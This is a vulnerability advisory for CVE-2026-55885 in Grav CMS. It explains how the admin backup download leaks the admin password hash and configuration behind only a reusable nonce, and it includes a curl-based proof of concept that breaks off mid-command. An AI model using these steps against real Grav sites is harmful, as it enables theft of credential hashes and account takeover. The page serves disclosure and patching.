Grav: Admin Backup Zip File Exposes Account Credentials and Configuration Secrets
An authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including user/accounts/admin.yaml with the admin's bcrypt password hash and email, plus user/config/ with all site configuration. The download endpoint requires only the session-static admin-nonce in the URL, no additional form-level CSRF token, and reveals the server's full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on http://{Grav_URL}/admin, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.
The vulnerability chain spans three components in the deployed Grav source tree at /var/www/html/grav/:
1. Backup archive scope — Backups::backup()
/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272
The backup() static method creates a ZIP of the directory specified by the backup profile's root property. The default profile (ID 0, named default_site_backup) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:
```php
// Backups.php:225
$backup_root = rtrim(GRAV_ROOT . $backup->root, DS) ?: DS;
```
Since the default profile ships with no root override, $backup->root is empty, making $backup_root equal to GRAV_ROOT — i.e. /var/www/html/grav/. The archive therefore captures the entire installation including:
/var/www/html/grav/user/accounts/ — admin password hash, email, full name, granular permissions/var/www/html/grav/user/config/ — system settings, potentially email SMTP credentialsThe exclude_files and exclude_paths options on lines 232-235 are empty by default and offer no protection against including account files.
2. Backup download handler — AdminController::taskBackup()
/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573
After creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:
```php
// AdminController.php:558-560
$download = urlencode(base64_encode($backup));
$url = rtrim(...) . '/task' . $param_sep . 'backup/download' . $param_sep
. $download . '/admin-nonce' . $param_sep . Utils::getNonce('admin-form');
```
The download handler (lines 532-541) decodes the path, locates the file via the backup:// stream, and serves it with Utils::download($file, true). It performs only two checks: the filename must end in .zip and the file must actually exist. It does not verify the file belongs to the requesting user, does not enforce a form-level nonce, and does not tie the download to a specific session.
3. Nonce validation — permissive
The backup route is protected only by the admin-nonce parameter appended to the URL path. This nonce is session-static and shared across every admin page. No form-nonce is required — unlike page saves or configuration changes which demand both admin-nonce and form-nonce. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.
Prerequisites: Admin session with valid admin-nonce.
Step 1 — Authenticate and extract the session-static nonces:
```bash
# Get login page, extract login-nonce, authenticate
NONCE=$(curl -s -c /tmp/jar "http://127.0.0.1/grav/admin" \
| grep -oP 'name="login-nonce" value="\K[^"]+')
curl -s -b /tmp/jar -c /tmp/jar -X POST "http://127.0.0.1/grav/admin" \
--data-urlencode "data[username]=admin" \
--data-urlencode "data[password]=Passw0rd123!" \
--data-urlencode "task=login" \
--data-urlencode "login-nonce=${NONCE}"
# Extract the admin-nonce (same value on every admin page)
ADMIN_NONCE=$(curl -s -b /tmp/jar "http://127.0.0.1/grav/admin" \
| grep -oP 'admin-nonce[:=]\K[a-f0-9]+' | head -1)
echo "Admin nonce: $ADMIN_NONCE" # e.g. 68d6b108bc1398028365fb35ea760baf
```
Step 2 — Trigger a backup (single GET, no form-nonce needed):
```bash
curl -s -b /tmp/jar \
"http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}"
```
Response:
```json
{
"status": "success",
"message": "Your backup is ready for download. <a href=\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\" class=\"button\">Download backup</a>"
}
```
Step 3 — Extract the Base64 download token and fetch the ZIP:
```bash
# The download path is base64("/var/www/html/grav/backup/default_site_backup--20260616122449.zip")
# This reveals the full server filesystem path.
curl -s -b /tmp/jar -o /tmp/backup.zip \
"http://127.0.0.1/grav/admin/task
This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.
The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
CVE-2026-55885 is classified as CWE-312: Cleartext Storage of Sensitive Information. Sensitive values are written to storage unencrypted and readable by anyone with access to it.
CVE-2026-55885 is recorded against 2 packages.
Published on 18 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.
github.com (Web)
github.com (Package)
getgrav/grav has other advisories on record. If you are patching this one, these are worth checking on the same host:
These advisories are the same class of weakness (CWE-312: Cleartext Storage of Sensitive Information) in other software:
Details
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N
Affected Packages
| Software | From version | Fixed in |
|---|---|---|
| getgrav/grav | — | 1.7.53 |
| unknown | — | — |
References
Similar Threats
Vulnerability Monitoring
CVE-2026-55885 is rated CVSS 6.8 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.
Set Up Free Alerts →No credit card required · Results in minutes
ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.
Stay up to date with the latest from Boteraser.
We use cookies to improve your experience on our site. By using our site, you consent to cookies.
Manage your cookie preferences below:
Essential cookies enable basic functions and are necessary for the proper function of the website.
CloudFlare provides web performance and security solutions, enhancing site speed and protecting against threats.
Service URL: developers.cloudflare.com (opens in a new window)
These cookies are needed for adding comments on this website.
These cookies are used for managing login functionality on this website.
Statistics cookies collect information anonymously. This information helps us understand how visitors use our website.
Google Analytics is a powerful tool that tracks and analyzes website traffic for informed marketing decisions.
Service URL: policies.google.com (opens in a new window)
You can find more information in our Cookie Policy and Privacy Policy.